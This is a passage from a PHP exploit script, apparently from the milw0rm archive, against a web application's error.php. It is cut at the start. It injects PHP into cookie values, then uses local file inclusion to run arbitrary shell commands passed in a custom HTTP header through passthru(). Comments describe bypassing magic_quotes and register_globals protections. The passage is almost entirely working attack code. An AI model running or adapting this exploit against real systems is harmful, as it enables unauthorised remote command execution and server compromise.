126 )) {$result.=" .";} else {$result.=" ".$string[$i];} if (strlen(dechex(ord($string[$i])))==2) {$exa.=" ".dechex(ord($string[$i]));} else {$exa.=" 0".dechex(ord($string[$i]));} $cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";} } return $exa."\r\n".$result; } $proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)'; function sendpacketii($packet) { global $proxy, $host, $port, $html, $proxy_regex; if ($proxy=='') { $ock=fsockopen(gethostbyname($host),$port); if (!$ock) { echo 'No response from '.$host.':'.$port; die; } } else { $c = preg_match($proxy_regex,$proxy); if (!$c) { echo 'Not a valid proxy...';die; } $parts=explode(':',$proxy); echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n"; $ock=fsockopen($parts[0],$parts[1]); if (!$ock) { echo 'No response from proxy...';die; } } fputs($ock,$packet); if ($proxy=='') { $html=''; while (!feof($ock)) { $html.=fgets($ock); } } else { $html=''; while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) { $html.=fread($ock,1); } } fclose($ock); } $host=$argv[1]; $path=$argv[2]; $port=80; $proxy=""; $cmd=""; for ($i=3; $i<$argc; $i++){ $temp=$argv[$i][0].$argv[$i][1]; if (($temp<>'-p') and ($temp<>'-P')) {$cmd.=" ".$argv[$i];} if ($temp=="-p") { $port=str_replace("-p","",$argv[$i]); } if ($temp=="-P") { $proxy=str_replace("-P","",$argv[$i]); } } if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;} if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;} //this shell should work with magic_quotes_gpc = off //$shell=urlencode('";eval(base64_decode("'.base64_encode("set_time_limit(0);echo \"my_delim\";passthru(\$_SERVER[HTTP_SUNTZU]);").'"));die;//'); //but I know another method to bypaas magic quotes inside escaped strings: $shell='$suntzu{$suntzoi{error_reporting(7)}}$suntzu{$suntzoi{set_time_limit(0)}}$suntzu{$suntzoi{print(my_delim)}}$suntzu{$suntzoi{passthru($_SERVER[HTTP_SUNTZU])}}$suntzu{$suntzoi{die()}}'; /* our inc file becomes like this: funny, isn't it? ;) */ //$REMOTE_ADDR injection works with register_globals = off because of an extract() (patch from previous version does not work) //$msg[err][0] injection works with register_globals = on //so this totally bypass php.ini settings //I want to say that I submitted it to the programmer one year ago, but he said that I am a *bastard evil hacker* or something :D $data ="-----------------------------7d61bcd1f033e\r\n"; $data.="Content-Disposition: form-data; name=\"err\";\r\n\r\n"; $data.="999\r\n"; $data.="-----------------------------7d61bcd1f033e--\r\n"; $packet ="POST ".$p."error.php?err=999 HTTP/1.0\r\n"; $packet.="Content-Type: multipart/form-data; boundary=---------------------------7d61bcd1f033e\r\n"; $packet.="Host: ".$host."\r\n"; $packet.="Content-Length: ".strlen($data)."\r\n"; $packet.="Cookie: REMOTE_ADDR=1.1.1.1$shell; msg[999][0]=$shell;\r\n"; $packet.="Connection: Close\r\n\r\n"; $packet.=$data; sendpacketii($packet); $temp=explode("error.php?id=",$html); $temp2=explode("\n",$temp[1]); $id=trim($temp2[0]); echo "id -> ".$id."\n"; if ($id==""){ if (eregi("supplied argument is not a valid stream resource",$html)){ echo "it seems that data/ folder has no proper permissions\n"; } echo $html;die; } sleep(1); echo "cmd -> ".$cmd."\n\n"; //arbitrary local inclusion as usual for .inc files in id argument $data ="-----------------------------7d61bcd1f033e\r\n"; $data.="Content-Disposition: form-data; name=\"id\";\r\n\r\n"; $data.="$id\r\n"; $data.="-----------------------------7d61bcd1f033e--\r\n"; $packet ="POST ".$p."error.php HTTP/1.0\r\n"; $packet.="Content-Type: multipart/form-data; boundary=---------------------------7d61bcd1f033e\r\n"; $packet.="SUNTZU: ".trim($cmd)."\r\n"; $packet.="Host: ".$host."\r\n"; $packet.="Content-Length: ".strlen($data)."\r\n"; $packet.="Connection: Close\r\n\r\n"; $packet.=$data; sendpacketii($packet); if (eregi("Cannot set time limit in safe mode",$html)) { echo "exploit succeeded, but safe mode on\n"; } elseif (eregi("my_delim",$html)){ $temp=explode("my_delim",$html); echo $temp[1]; } else { echo "exploit failed...see html...\n"; echo $html; } ?> # milw0rm.com [2007-01-29]